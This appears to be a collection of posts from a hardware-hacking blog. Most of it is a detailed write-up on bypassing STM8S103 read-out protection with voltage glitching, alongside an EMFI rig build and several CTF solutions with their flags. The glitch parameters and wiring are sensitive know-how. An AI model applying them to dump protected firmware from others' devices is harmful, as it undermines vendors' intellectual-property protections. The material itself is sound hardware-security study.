TLDR: I tried dumping the firmware of a read-out protected STM8S103 with voltage glitching. First I thought capacitors are for losers, then found out I need them, then picked a capacitor an order of magnitude too large, and finally replaced the capacitor with an external power supply to make the glitch work and dump the firmware.

Motivation

In my previous post about building an EMFI setup, I mentioned that my interest in fault attacks was sparked by a read-out protected (ROP) STM8 microcontroller, found on a printer’s display controller PCB. Almost a year passed before I finally found the time to tackle the project. After submitting my bachelor’s thesis this February, I finally had some free time available, and immediately dove into the project.

Previous Work

There already exist multiple sources about glitching the STM8:

• write-up by rumpeltux: first one I found with valuable information but little details
• examples section of findus project: about glitching a custom UART bootloader implementation; not ROP
• write-up by Jarrett: about glitching ROP with a 555 timer circuit; funny read but too much effort
• write-up by monte-monte: fairly detailed write-up with a lot of valuable information; (ends up disabling the internal voltage regulator and doing voltage multiplexing instead of simple crowbar glitching)
• chip.fail talk by Thomas Roth and Josh Datko: probably the best introduction to voltage glitching on a budget out there

However, after reading through all of these and trying to replicate it on my own STM8S103, it simply would not work, so I decided to write yet another post about it.

STM8S103

The STM8S103 is a low-cost, 8-bit MCU with up to 16KB of flash, integrated timers, ADC, UART/SPI/I2C peripherals, and most importantly for this article, a hardware-enforced ROP.

Programming and debugging the MCU is done via ST’s Single Wire Interface Module (SWIM), which, as the name implies, only needs one data line for its operations. It has only three commands: reading, writing and resetting the MCU.

The memory map looks like the following. (Note, that I left out some Reserved blocks for brevity; check the datasheet for the full map.)

The first byte of the Option bytes block is the actual ROP byte. When set to 0xAA the read-out protection is enabled, causing every read access via the SWIM interface to return 0x71. (This value is not documented anywhere in the three documentations I found about the STM8 and SWIM btw.) Erasing the ROP byte, causes the EEPROM, Option bytes, and flash memory to be cleared immediately.

To read out the firmware from the flash memory, I used an STLinkv2 adapter. The adapter communicates with the MCU over the SWIM interface and requests some amount of bytes (max. 255 per request).

If we are allowed to read, i.e. ROP != 0xAA, the MCU sends back the requested bytes. Note, that the ROP byte is not checked for every read request, but rather a “protect memory flag” is latched once at startup. This can be easily verified by enabling ROP without resetting the MCU afterwards: reading the entire memory is possible until the chip is reset.

This implies that we only have to glitch successfully once during the startup phase to read the entire memory, which sounds doable judging by the following sentence from the datasheet.

Even if no protection can be considered as totally unbreakable, the feature [ROP] provides a very high level of protection for a general purpose microcontroller.

Voltage Glitching

Voltage glitching is a fault injection technique that disturbs the power supply of a target device in order to trigger unintended behavior like altering the regular control flow of a program or corrupting memory contents. There are three general approaches to voltage glitching: Arbitrary Waveform Glitching, Voltage Multiplex Glitching, and Crowbar Glitching¹.

Arbitrary waveform glitching was first introduced in 2019 and, as the name implies, inserts arbitrary waveforms into the supply lines of a target. It’s probably the most powerful form of voltage glitching but requires a rather complicated setup.

Another technique with a rather sophisticated setup is voltage multiplex glitching, where the attacker quickly switches the voltage levels of the targets power lines. I couldn’t find much information about this technique besides some info in the examples section of the findus library.

Crowbar glitching is, setup-wise, the easiest technique and therefore what we will be doing in this article. It was first introduced in a paper by Colin O’Flynn in 2016, where he showed successful attacks against five devices using this method. It involves shorting the power rails of the target for a very short amount of time; typically in the nano- to microsecond range. Shorting the rails is usually implemented by connecting an N-channel MOSFET between VDD and GND, like shown below.

When trigger is HIGH, VDD is pulled to GND, resulting in a voltage drop in VDD. This can cause timing violations in the target device.

The desired effect of a crowbar glitch in our scenario is to disturb the latching of the “protect memory flag” mentioned in the previous section. How this can happen exactly cannot be determined without access to the inner workings of the internal state machine responsible for the ROP mechanism. However, several stages during the start-up phase could potentially be affected by a glitch. Possible points where the ROP mechanism may be vulnerable to a crowbar glitch include:

• Loading the ROP byte from memory
• Comparing its value to 0xAA
• Latching the result

Target Preparation

Our target for the rest of this post will be a STM8S103F3 development board, which was maybe manufactured by ST Microelectronics. I say maybe, as I’m not 100% sure whether the MCUs on the development boards I bought from AliExpress are genuine. The functionality I cared about works just as described in the datasheet; however, the chip markings scream fake chip. Below picture shows the markings of a genuine STM8S003 on the left and the markings of the STM8S103 I received on the right.

As you can see, the markings on the right chip are extremely blurry and barely readable. According to this source, out-of-spec ICs that were rejected during testing due to insufficient performance can enter the gray market. Such parts may be bought cheaply and then (sometimes poorly, sometimes not so poorly) remarked before being resold. Fingers crossed this doesn’t come back to bite me later.

Where to attack?

Below you can see an image of the development boards front side (left) and the back side (right). (Note, that I removed all components to have a better view on the traces; also the back side image is mirrored!). The most important traces and components are labeled.

The yellow trace connects C_VCAP directly to the internal voltage regulator, which powers the CPU core. As the CPU core supply is sensitive to voltage fluctuations, transient disturbances at VCAP can affect instruction execution and potentially disrupt security mechanisms, resulting in unintended system behavior [source; image below derived from there too].

So VCAP will be our attack point: by shorting VCAP to GND, we can directly mess with the internal core voltage!

Changes to the PCB

All modifications I made to the target board are illustrated below. For good measure I removed all capacitors on the board and the external voltage regulator as they aren’t strictly required for operation (right?). Additionally, to have better access to the VCAP line, I cut the trace to the bottom left pad labeled with + and hacked in a wire.

Glitch Setup

With the target board suitably butchered, it was time to set up the actual glitching hardware. BTW: Most of the code I wrote for this project can be found in the project repository.

Hardware

Some time last year, I bought a Pico Glitcher v2.3, designed by Matthias Kesenheimer, for an insanely low price of 5 euro. The price was this low as it had some minor design error. Despite having a fully featured glitching platform readily available, I decided to devise my own setup from scratch, as I wanted to get started with FPGA programming anyway.

A simple crowbar glitching device should be capable of four things:

• Starting the glitch based on an input trigger
• Delaying the glitch from the input trigger signal for some amount of time
• Shorting the power rails of the target for some amount of time
• Update the glitch parameters during runtime

So I started implementing a simple glitcher on a Tang Nano 9K FPGA development board. One major problem I came across was that my design did not work for a 108MHz clock, as I did the initial development on the standard internal clock 27MHz. When trying to step up from 27 to 108Mhz the toolchain threw this error:

ERROR: Max frequency for clock 'sys_clk': 75.14 MHz (FAIL at 108.00 MHz)

which just means my code sucks so hard that it cannot be routed to fulfill the 108MHz timing constraints.

I tried synthesis with 81MHz (3 x 27MHz), and the glitcher worked despite the timing violation reported by the toolchain! Initially, I was worried that the resolution wouldn’t be enough to trigger successful glitch, but that turned out not to be a problem.

Software

After coding a python interface for the glitcher, I wanted to use it with the findus fault injection library (mainly for the nice graphical output it provides). So after writing yet another interface I was ready to write the actual glitching logic.

The glitching script does four things:

1. set random glitch parameters
2. start glitcher (listen for reset signal)
3. reset chip (actually starts the glitch)
4. check if ROP was glitched

To check whether ROP was glitched successfully I used stm8flash_dump, which adds an additional command line flag to do exactly this to the original stm8flash tool.

Glitching!!!

Finally it was time to start glitching…

No capacitor?

Below we see a first test glitch, with no capacitor installed. First the reset line (purple) is pulled low to hold the MCU in reset. When reset is released, a delay of 100 clock cycles (~1,24ms @ 81MHz) is applied before the glitch line (yellow) is pulled high for 13 clock cycles. During these 13 clock cycles we can observe the core voltage (cyan) dropping for roughly the same duration. Thats the effect we want to see.

However, what we don’t want to see is the reset line also dropping slightly at around 400ns. That means that the core voltage is too low for the chip to continue operation, which prevents us from reading out the memory after a successful glitch.

When zooming out to to inspect more of the core voltage we can see a clear sawtooth pattern of the core voltage, indicating that the core voltage is highly unstable.

Zooming out even more reveals that the chip resets even without us glitching in between (e.g. at t=100us, t=150us, t=200us).

This behavior makes sense as the datasheet clearly states that we need a capacitor on the VCAP line between 470nF and 3300nF.

Because I didn’t have such small capacitors on hand, I inserted a 10uF (left image) and a 100uF capacitor (right image) on the VCAP line, with 30 clock cycles glitch duration. Note, that the core voltage on the left drops more than on the right (Vmin=216mV vs. Vmin=800mV), which makes sense to me as the 10uF capacitor stores less energy than the one with 100uF, resulting in a larger drop.

So we do in fact need a capacitor on VCAP to prevent the chip from resetting, but it should be as small as possible to achieve a sufficiently powerful glitch.

No SWIM Zone

Finally the time has come to find a successful glitch… or so I thought.

The datasheet states that the maximum time from reset pin release to vector fetch is 150us. As the ROP byte has to be checked before any code is executed on the system, I continued to use this as the upper bound for the delay parameter bruteforce. For the glitch length I chose an upper limit of 12 clock cycles, as the chip always resets with glitches above 12 clock cyles. The result from this bruteforce search, including about 10.000 attempts, are depicted below.

The STLink reported 36 SWIM errors, meaning there was some problem with the communication over the SWIM interface. What problem exactly is impossible to say with the current setup as stm8flash only reports a generic error message.

In hindsight this attempt was really stupid. The datasheet CLEARLY states the minimum (470nF) and maximum (3300nF) values for VCAP… and I tried my luck with a 10uF capacitor🗿.

Voltage Regulators

After a very long time of trial and error I came across the Tips and Tricks section of the chipwhisperer wiki about “Targets with Internal Regulators”. The short article is originally about preventing internal regulators from distorting measurements in side-channel power analysis setups by using an external voltage source to overpower the chip’s internal voltage regulator. The idea is that the internal regulator sees that the feedback voltage is above the target voltage (1.8V in our case) and thus will not pass any voltage, resulting in a lower noise signal.

I suspected this might also be useful for voltage glitching: perhaps the internal regulator would take longer to compensate for the crowbar glitch when its feedback voltage was above 1.8V. (I don’t know if this is actually what happens internally, but it seemed to work.)

So I threw out the 10uF capacitor, set my power supply to 1.9V, and hooked it up directly to the VCAP line. And et voilà…

The green points mean that the read-out protection was bypassed and the memory read out successful!!!

Overall, we achieve a success rate of around 11%, with delays between 4000 and 5000 clock cycles (approximately 50-60us at 81MHz) and glitch lengths ranging from 2 to 8 clock cycles. Increasing the voltage to 2.0V results in slightly more successful glitches and allows for longer glitch lengths as well (see Appendix A).

To avoid releasing the magic smoke, I refrained from increasing the voltage any further.

Profit??

Now, finally, after more than a year of waiting, it was time to dump the firmware from the printer display controller; the very thing that had sparked this whole ordeal. So I desoldered the chip from the display controller and stuck it on a breakout board.

At this point, I was really worried that it wouldn’t work for some reason. My biggest concern was the obviously counterfeit chip I’d done my entire testing phase with.

But it worked.

Just as with the test device :)

Conclusion

After a lot of trial and error, I was finally able to bypass the read-out protection on the STM8S103 using a relatively simple setup. I learned a lot about crowbar voltage glitching and even learned some verilog on the way.

The biggest lesson from this project is just how sensitive voltage glitching is to the physical setup. Seemingly minor changes to the setup (not even only the circuit) can have a huge impact on the resulting glitch (see Appendix B).

This also explains why reproducing results from other STM8 glitching write-ups was much harder than expected. Even when the general attack methodology is the same, the exact parameters that work can be highly specific to the hardware and wiring of the individual setup. In my case, the external VCAP supply turned out to be the key to making the attack work, although it probably also would have worked with a smaller capacitor (or even using the original one, lol).

EDIT (2026-08-20): I tried again with a 100nF capacitor on VCAP with the external power supply disconnected. The chip worked without repeated resets, even though the datasheet gives a minimum capacitance of 470nF. However, I still didn’t observe any successful glitches. Some people in the comment section of rumpeltux’ writeup recommended to raise the supply voltage. Therefore I raised it to 6.5V (maximum rating is 5.5V!), but this didn’t produce any successful glitches either. Apparently, there is also the possibility of leaving VDD disconnected, only provide 1.8V at VCAP and then glitch with voltage multiplexing. The catch is that they used a different MCU (STM8S005) and I’m not sure if it applies to this MCU as well. I wasn’t able to read out the chip at all when providing only 1.8V at VCAP, either.

Appendix

A. Increasing PSU Voltage

Glitch frequency increases slightly with applied voltage, but point in time stays the same.

B. Many Different Glitches

During the numerous hours of attempting to glitch the ROP I observed multiple different glitch traces. All of them were generated by seemingly identical setups. However, I noticed that the exact behavior of my setup is extremely unpredictable. Simply using a different cable on the breadboard can completely change the resulting trace. Sometimes, it even felt like the setup changed randomly overnight just to mess with me.

Below are five different traces I recorded: four generated using an IRLML2502 transistor and one using an IRLZ44N transistor.

C. Full Setup

Footnotes

Blogs:

• https://atcnetz.blogspot.com/feeds/posts/default
• https://blog.noahhw.dev/index.xml
• https://yifan.lu/feed.xml
• https://courk.cc/feeds/all.atom.xml
• https://cybergibbons.com/feed/
• https://www.da.vidbuchanan.co.uk/blog/rss.xml
• https://dmitry.gr/rss.php
• https://hforsten.com/feeds/all.atom.xml
• https://www.righto.com/feeds/posts/default
• https://n-o-d-e.net/rss/rss.xml
• https://swarm.ptsecurity.com/feed/
• https://th0mas.nl/post/index.xml
• https://ctf.re/feed.xml
• https://xorvoid.com/rss.xml
• https://stefan-gloor.ch/rss.xml
• https://abhinavagarwal07.github.io/feed.xml
• https://astralvx.com/feed/
• https://maia.crimew.gay/feed.xml
• https://lujji.github.io/blog/atom.xml
• http://voidstarsec.com/blog/feeds/all.atom.xml
• https://wrongbaud.github.io/feed.xml
• https://www.bunniestudios.com/blog/feed/
• https://srlabs.de/blog/rss.xml
• https://itooktheredpill.irgendwo.org/index.xml
• https://mitxela.com/feed
• https://www.synacktiv.com/en/feed/lastblog.xml

Podcasts:

• https://requestforcomments.de/feed/opus
• https://xyrillian.de/noises/stp/rss.xml

The original svg files will be made available at some point on my github. (TODO)

Mangelhaft Siegel

Printed for 38c3.

Bundesamt für …

Printed for 39c3.

• CTF: GoogleCTF 2025
• Challenge name: メガ
• Author: ?
• Category: misc
• Difficulty: easy
• ctf files: zip archive

Challenge description

Join the 16-bit revolution! Can you help Sonk the Rabbit find all flags? Submit your recording to get the flag: python3 submit.py solution.inp mega.2025.ctfcompetition.com 1337 Note: Submit the flag starting with “CTF{A:” here. For submitting the other flag, see the challenge titled “メガB”.

Recon

% la misc-mega-rust-1
0755 drwxr-xr-x 601k tom tom 30 Jun 18:33 game
0755 drwxr-xr-x  84k tom tom 30 Jun 18:33 libs
0755 drwxr-xr-x 3.4k tom tom 30 Jun 18:33 rom
0755 drwxr-xr-x  18k tom tom 30 Jun 18:33 toolchain
0644 .rw-r--r--   91 tom tom 31 Dec  1979 .gitignore
0644 .rw-r--r-- 5.3k tom tom 31 Dec  1979 Cargo.lock
0644 .rw-r--r--  173 tom tom 31 Dec  1979 Cargo.toml
0644 .rw-r--r--  623 tom tom 31 Dec  1979 Makefile
0644 .rw-r--r--  846 tom tom 31 Dec  1979 megadrive.x
0644 .rw-r--r-- 2.2k tom tom 31 Dec  1979 pow.py
0644 .rw-r--r--  840 tom tom 31 Dec  1979 README.md
0644 .rw-r--r--   64 tom tom 31 Dec  1979 rustfmt.toml
0644 .rw-r--r--  17M tom tom 31 Dec  1979 sonk.md
0644 .rw-r--r-- 1.1k tom tom 31 Dec  1979 submit.py

Trying to cat sonk.md crashed my terminal as it’s not a markdown file, but a Sega Mega Drive / Genesis ROM image.

From README.md:

• run the game with: mame genesis -cart sonk.md
• record solution with: mame genesis -cart sonk.md -record solution.inp
• send solution to server with: python3 submit.py /home/user/.mame/inp/solution.inp mega.2025.ctfcompetition.com 1337
• rebuild the game with: make sonk.md

Game

After starting the game we are greeted with this screen.

We can control the rabbit (whose name is sonk apparently) with the LEFT, RIGHT and UP arrow keys. Going through the level we find two flags. One on top of a tree (out of range for us)

and one in a a spike cage.

When touching the spikes or the wasp, the rabbit is knocked back and can’t move until he touches ground again. Landing on another spike or another wasp when airborne already, gives the rabbit another push back. This continues until he doesn’t land on a spike or wasp.

Source code

% tree game/src
game/src
├── anim.rs
├── flag.rs
├── game.rs
├── lib.rs
├── map_data.rs
├── map.rs
├── palettes.rs
├── physics.rs
├── sonk.rs
├── spike.rs
├── tiles.rs
└── wasp.rs

The game is written in rust. As someone who never tried programming in rust, I think the code is pretty readable, but …

SPOILER ALERT

… we don’t need to understand the code to get the flags.

Flag B

I did the second flag first as it is the first flag that you encounter in the level (for whatever reason). When fooling around a bit I noticed that it is possible to spawn multiple wasps by moving the (right) frame border.

Apparently the wasps spawn when the frame border is pushed beyond this point.

Then I found out that slowly approaching this border generates a “big wasp”. It’s really just a few wasps stacked on top of each other.

When repeating this a few times the game glitches out (probably because there are too many entities on screen) and the rabbit teleports into the sky.

After walking around in the sky for a bit, I got the flag.

Then I had to record the inputs of a run that got the flag in under 300 seconds and send it to the server with the provided python script.

Flag: CTF{B:1v3_CoM3_T0_m4k3_An_aNn0unC3mEn7}

Flag A

This flag took me a bit longer, because I was locked in to the first idea that came to my mind. Looking at the cage I thought that the spikes were a bit too far apart and that it could be possible to glitch through the little gap.

That however was a big waste of time.

After spending hours on this idea, I noticed that the frame border doesn’t update when the rabbit is hit by a spike or a wasp. So it is possible for the rabbit to be out-of-bounds. Then it clicked. Entities (spikes and wasps) are only spawned when they are in the current frame. So the spike cage doesn’t exist when the player is knocked out-of-bounds, which means that he should land directly on the flag.

Flag: CTF{A:g0Tt4gOF4stGO7TAg0f45tg07TAGoFA5T}

Extra: TAS

After completing the challenges I thought that the 300 second solution recording maximum is way too high, so I did a Tool Assisted Speedrun for the game with bizhawk’s TAStudio.

Flag A

My TAS for the first flag needs 795 frames until the You got flag A! string is shown on the screen, which is exactly 15.9 seconds at 50 FPS.

Flag B

This run is slightly slower with 877 frames (17.54 seconds) until the You got flag B! string is shown, but I’m pretty sure that there are still some big time saves as the flag collection itself is kind of random.

A few months ago I fiddled around with the inner workings of a printer. I thought it would be pretty funny to display my own images on the touch display. So naturally I tried reading the firmware off of the STM8 microcontroller that was on the display PCB. I quickly realized that you can’t read the firmware off of the chip because of the internal read-out-protection mechanism.

When searching for ways to bypass this, I came across fault injection attacks. Typically the goal of these attacks is to change the control flow of the program running on a microcontroller by introducing faults. This can be achieved in multiple ways, but most of the attacks require the attacker to physically modify (or even destroy) the device under test.

For example with voltage glitching you often have to remove capacitors from the PCB to make the glitch work¹. With laser fault injection you have to either etch the chip with toxic chemicals or grind away the epoxy of a chip to expose the die².

However with electromagnetic fault injection (EMFI) you don’t even have to touch the chip you are trying to glitch (this is a little bit exaggerated of course). The attack works by generating a strong electromagnetic pulse (at a very specific position) that induces a current in the chips circuit³. If successful the program skips an instruction, which can cause the chip to ignore a set read-out-protection bit, for example.

The problem is that commercial products for EMFI (like the ChipShouter or the ChipWhisperer) are pretty expensive, especially for a poor student like me. So, I decided to build my own low-cost EMFI setup.

High Level Overview

My EMFI setup consists of three parts

1. A injection tip to produce high-intensity electromagnetic fields
2. A XYZ-stage to accurately position the injection tip
3. A device that triggers the glitch

Luckily I don’t have to design my own pulse generator as there is already a cheap open-source project that does just that. It’s called ChipSHOUTER-PicoEMP.

In this part I will document the process of building the PicoEMP and designing an adapter for the XYZ-stage.

Building the PicoEMP

PCB

As the project is open-source I just downloaded the gerber files for the PCB and uploaded them to JLCPCB. The order cost around 7 euros and arrived after 12 days.

BOM

The bill of materials is nicely explained on the github page of the project. Although the BOM wasn’t updated in over 4 years. Most of the parts were still available on DigiKey. For many components, I ordered spares in case I dropped or damaged them while soldering. I bought the SMA connectors on AliExpress as they are ridiculously expensive on DigiKey. (Click here if you want to see what components I ordered in what quantities.)

Build

The build process was pretty straightforward. I laid out all the needed components on a sheet of paper and wrote their corresponding reference designators below them, so I only had to search for components once and not all the time.

The only problem I had when assembling was that the diode D7 doesn’t have any markings on it to indicate its polarity. The build instructions on github also said that its crucial to get the polarity right, otherwise Q2 may blow up. So I had to check the polarity with a multimeter, then remember it correctly and solder it on.

Another problem I had (out of pure laziness) was that I soldered the LEDs on in the wrong orientation. When trying to desolder them, I broke one. I didn’t have any 0603 LEDs left, so I searched around the house and found a dead router which happened to have 0603 LEDs, so I quickly desoldered them and gave them new life in the PicoEMP.

After the LED transplantation was done I turned on the device. Luckily, no magic smoke appeared.

Now enjoy me soldering the board for around 40 minutes in 38 seconds!

The finished board looks like this:

Flashing

Flashing the firmware was as easy as connecting the pico to my laptop and copying the .uf2 file, from the releases page over to the pico.

Building an Injection Tip

To test and use the PicoEMP I need an injection tip first. So, I took one of the ferrite rods I ordered and put a few turns of coated copper wire around it to create a coil. Then I soldered the wire ends to the SMA connector and put some heatshrink around everything.

I want to point out here that I have no idea what characteristics this coil has and how suitable it is for fault injection!

First Test

Before watching the video below make sure to first read the description of whats happening, otherwise the video won’t make any sense to you!

I chose an ATmega 328P development board as a target because that was the first microcontroller I found in my drawer. I programmed the microcontroller so that it flashes the yellow LED in a 1 second on, 1 second off cycle. Forever. So we know something is off if it behaves differently.

Next I take the PicoEMP and press the ARM button. The red LED lights up indicating that it is now charging the high voltage capacitors. Shorty after, the second green LED on the left side of the board lights up, indicating that the capacitors are now fully charged (hard to see in the video).

With about 5mm distance between injection tip and chip I hover right over the ATmega chip and press the PULSE button. The first try at second 17 to 18 in the video didn’t work; the yellow LED still flashes. However the second try between second 20 and 21 succeeded. The yellow LED is now constantly on for the rest of the video!

This means that the device works!

Preparing the XYZ-Stage

To mount the PicoEMP on my small CNC mill I designed a small ring structure in FreeCAD that holds it in the mills tool holder.

Fully assembled the contraption looks like this:

With this setup I can now precisely control the position of the PicoEMP in X, Y and Z direction.

Now the only part missing is a device to reliably trigger the glitch.

• CTF: BYUCTF25
• Challenge name: Alpha
• Author: deltabluejay
• Category: embedded
• Difficulty: medium
• ctf files: alpha_REDACTED.ino, flag.sal

Challenge description

I made a little Arduino program that displays a flag on a 14-segment display! I captured the I2C data sent to the screen using my Saleae logic analyzer… can you decipher it and extract the flag?

Recon

The description links to the Quad Alphanumeric Display from Adafruit. This is a 4-character, 14-segment display capable of showing digits 0-9, characters a-z and A-Z and decimal points¹. Some characters are pretty hard to read in my opinion.

The characters are written to the display using i2c, which is common a two-wire serial communication protocol. The two lines are called SDA (serial data line) and SCK (serial clock line). i2c allows multiple devices to be controlled over the same bus, with each device identified by an unique address².

The challenge provides two files:

alpha_REDACTED.ino: Arduino code that first initializes the display (in setup()) and then sends the characters of the global flag variable in a scrolling animation (in loop()), to the display (presumably over i2c). The actual flag is redacted.

#include <Wire.h>
#include <Adafruit_GFX.h>
#include "Adafruit_LEDBackpack.h"

Adafruit_AlphaNum4 alpha4 = Adafruit_AlphaNum4();

String flag = "byuctf{REDACTED}";

void setup() {
  Serial.begin(9600);
  alpha4.begin(0x70);
  alpha4.writeDigitRaw(0, 0x0);
  alpha4.writeDigitRaw(1, 0x0);
  alpha4.writeDigitRaw(2, 0x0);
  alpha4.writeDigitRaw(3, 0x0);
  alpha4.writeDisplay();
}

void loop() {
  delay(1000);
  for (uint8_t i = 0; i < (flag.length() - 3); i++) {
    alpha4.writeDigitAscii(0, flag[i]);
    alpha4.writeDigitAscii(1, flag[i+1]);
    alpha4.writeDigitAscii(2, flag[i+2]);
    alpha4.writeDigitAscii(3, flag[i+3]);
    alpha4.writeDisplay();
    delay(500);
  }
}

flag.sal: A capture file from a Saleae logic analyzer. These devices are pricey (please buy me one!), but their software, Logic2³, is free to use in demo mode.

Opening the file in Logic2 we see that the SCL and SDA data lines were captured (which were used to transmit the flag). Also the capture is about 25 seconds long, which you can see in full below.

To have a look at the actual data that is being transmitted you have to zoom in pretty far. As you can see below, the pulses on the SCL line are only 5 microseconds short!

That said, there’s still a lot of ground to cover before we can start making sense of this capture. So let’s dive in and reverse engineer the flag!

ASCII representation

Initially, the capture file doesn’t contain anything that I could immediately identify as ASCII characters. To understand how characters are encoded, we examine the source code for writeDigitAscii⁴.

The functions signature in Adafruit_LEDBackpack.h tells us that the function actually has three arguments:

• The digit position n (0-3)
• The ASCII character ascii
• An optional flag that sets the decimal point (default = false)

/*!
    @brief  Write single ASCII character to alphanumeric display.
    @param  n      Character index (0-3).
    @param  ascii  ASCII character.
    @param  dot    If true, also light corresponding dot segment.
*/
void writeDigitAscii(uint8_t n, uint8_t ascii, bool dot = false);

In the functions implementation in Adafruit_LEDBackpack.cpp we see that our character a is looked up in alphafonttable and then fed into the pgm_read_word function, which is used to read data from the flash memory of a microcontroller. The resulting data is then stored in displaybuffer[n].

void Adafruit_AlphaNum4::writeDigitAscii(uint8_t n, uint8_t a, bool d) {
  uint16_t font = pgm_read_word(alphafonttable + a);

  displaybuffer[n] = font;

  /*
  Serial.print(a, DEC);
  Serial.print(" / '"); Serial.write(a);
  Serial.print("' = 0x"); Serial.println(font, HEX);
  */

  if (d)
    displaybuffer[n] |= (1 << 14);
}

The alphafonttable is an array (stored in flash memory) with 128 values of 16 bit each. The first 14 bits control the character’s segments; bit 15 is for the decimal point, and bit 16 is unused. So each of the 128 ASCII characters has a bit representation. Some of the none-printable characters are also mapped. For example \x1B maps to 0b0000000011100011, which could represent the degree symbol °.

static const PROGMEM uint16_t alphafonttable[] = {
...
  0b0000000000000110, // !                              
  0b0000001000100000, // "         Bit/Segment mapping:                     
  0b0001001011001110, // #                              
  0b0001001011101101, // $         -------0-------      
  0b0000110000100100, // %         |\     |     /|      
  0b0010001101011101, // &         | \    9    / |      
  0b0000010000000000, // '         |   8  |  10  |      
  0b0010010000000000, // (         5    \ | /    1      
  0b0000100100000000, // )         |     \|/     |      
  0b0011111111000000, // *         |--6---|--7---|      
  0b0001001011000000, // +         |     /|\     |      
  0b0000100000000000, // ,         4    / | \    2      
  0b0000000011000000, // -         |  11  |   12 |      
  0b0100000000000000, // .         | /    13   \ |      
  0b0000110000000000, // /         |/     |     \|      
  0b0000110000111111, // 0         -------3-------  14  
  0b0000000000000110, // 1                              
  0b0000000011011011, // 2        0b 0000 0000 1110 0011                  
  0b0000000010001111, // 3        0b 0001 0010 1111 1001             
...

Now we know that writeDigitAscii stores a character’s bit-representation into displaybuffer.

Writing to the Display

After the four calls to writeDigitAscii in alpha_REDACTED.ino we see another function, named writeDisplay. The source code tells us that this function writes every value in displaybuffer (uint16_t = 2 bytes!) to buffer. It is important to note here that the values from displaybuffer are stored in little-endian format to buffer as the least significant byte (displaybuffer[i] & 0xFF) comes first in buffer.

After every value from displaybuffer has been processed, the contents of buffer are sent to the display over i2c with i2c_dev->write.

void Adafruit_LEDBackpack::writeDisplay(void) {
  uint8_t buffer[17];

  buffer[0] = 0x00; // start at address $00

  for (uint8_t i = 0; i < 8; i++) {
    buffer[1 + 2 * i] = displaybuffer[i] & 0xFF;
    buffer[2 + 2 * i] = displaybuffer[i] >> 8;
  }

  i2c_dev->write(buffer, 17);
}

Extracting the flag

To identify the little-endian flag characters in the capture file I wrote a script that prints out all character bit representations in hexadecimal little-endian representation⁵.

! 0600
...
b 7820
c d800
d 8e08
e 5808
f 7100
...
t 7800
u 1c00
v 0420
w 1428
x c028
y 0c20
z 4808
{ 4909
...

We know that the flag starts with byuctf{. Translating the characters with the above table we get the following bytes.

|   b   |   y   |   u   |   c   |   t   |   f   |
|-------|-------|-------|-------|-------|-------|
| 78 20 | 0c 20 | 1c 00 | d8 00 | 78 00 | 71 00 |

Now we can search for these bytes in the capture file.

As the program does a scroll animation to display the flag we can always skip three data frames to extract the full flag.

read: byuc
skip:  yuct
skip:   uctf
skip:    ctf{
read:     tf{4
...

The extracted flag is: byuctf{4r3n7_h4rdw4r3_pr070c0l5_c00l?}

More on i2c

The following part has nothing to do with challenge itself.

While writing this writeup I got interested in the i2c protocol and how it really works. I already used it quite often in personal projects but don’t really know how it works. Let’s change that to some degree.

DISCLAIMER: I have limited knowledge of electrical design and related topics, but I tried my best anyways :) Also, this blog post was written about a year after I lost interest in the project. This is a really bad habit as a lot of detail was lost in the meantime. So take this as advice and do your writeups in parallel to your projects!

Initial Planning

I started the project by writing down some hard requirements. The PCB should

• look cool (lol)
• have LEDs
• have programmable LED animations

Visual Design

KiCAD has a builtin image converter to convert black and white images to a Front Silkscreen layer. So all I had to do was to search for “uno reverse card black and white” on google and choose an image.

I decided to go with a 1:1 scale (5.7cm x 8.7cm), as the card is not so big that PCB manufacturing costs would be unreasonably high. With the dimensions I drew the outline for the PCB in FreeCAD, exported it as DXF and imported it into KiCAD. The outline of the board is not so complex that I had to design it in FreeCAD, but using the Draw Arcs function in KiCAD is just a pain to use.

Components

At first I chose the size for the LEDs. After comparing various sizes on the board render in KiCAD, I settled for 0805 LEDs. At this point I never soldered this size myself, but it certainly looked doable. The size of other components is not as important as they will be on the backside of the board.

The next important decision was the LED driver. The first (and only) one that came to my mind was the MAX7219. It is a common driver for 7 segment displays or LED matrices which can be controlled via SPI and can drive up to individual 64 LEDs¹. Fully wired up it looks like the following:

For development I chose to use a ATmega328P (desoldered from a Arduino Nano) as it is probably the easiest microcontroller to program with the Arduino framework.

Last but not least I added three buttons to the design to be able to set brightness of the LEDs and select an animation.

Layout

Laying out the 64 LEDs on the board was harder than expected, so I partly automated the process. To get a perfect oval I made use of the KiCAD python API. Below is a render of the final result.

Note that the ATmega328P was not placed on the board in this revision of the board as I intended to use an STM32 for the final version. Instead, I exposed the SPI interface of the MAX7219 on the left side of the board (back view) and also added a output interface for potential daisy-chaining of the boards.

Firmware

Writing the firmware was pretty straight forward. Only mapping which bit corresponds to which LED on the board was kind of annoying to figure out in hindsight.

I added support for two animation types: hardcoded frame-by-frame animations and animations described by functions. The benefit of the latter is that complex animations can be described without having a huge impact on the program size.

Also, I started implementing a web-based tool to simplify creating animation frames, but I never finished it as web-development sucks.

Assembly

Unfortunately I didn’t shot an assembly timelapse for this project just yet :( But here is an image of the board fully assembled and with all LEDs turned on:

And here is a GIF of a animation I programmed (sorry for bad quality):

All files to this project can be found on my github repo.

• CTF: BYUCTF25
• Challenge name: baby-android-1 / baby-android-2
• Author: overllama
• Category: rev
• Difficulty: easy
• ctf files: baby_android-1, baby_android-2

Challenge description

The descriptions for both challenges were identical:

If you’ve never reverse engineered an Android application, now is the time!! Get to it, already!! Learn how they work!!

I started with the second challenge since it had significantly more solves than the first when I began working on them.

Spoiler: Challenge 1 is more interesting.

Baby Android 2

This challenge includes one file named baby_android-2.apk, which is obviously an Android application. After installing the app on an emulator using adb install baby_android-2.apk, we see the following screen when launching the app:

To find the flag we have to find the code that checks for the correct flag. By running the command apktool decode baby_android-2.apk we can extract the contents of the application into a folder.

% ls -l baby_android-2
total 8
-rw-r--r-- 1 tom tom 2647 May 17 13:36 AndroidManifest.xml
-rw-r--r-- 1 tom tom 2344 May 17 13:36 apktool.yml
drwxr-xr-x 1 tom tom   58 May 17 13:36 lib
drwxr-xr-x 1 tom tom   38 May 17 13:36 original
drwxr-xr-x 1 tom tom 3058 May 17 13:36 res
drwxr-xr-x 1 tom tom   68 May 17 13:36 smali
drwxr-xr-x 1 tom tom   34 May 17 13:36 smali_classes2
drwxr-xr-x 1 tom tom   12 May 17 13:36 smali_classes3
drwxr-xr-x 1 tom tom   12 May 17 13:36 smali_classes4
drwxr-xr-x 1 tom tom   62 May 17 13:36 unknown

At this point, I realized I had no clue what most of these files and folders were.

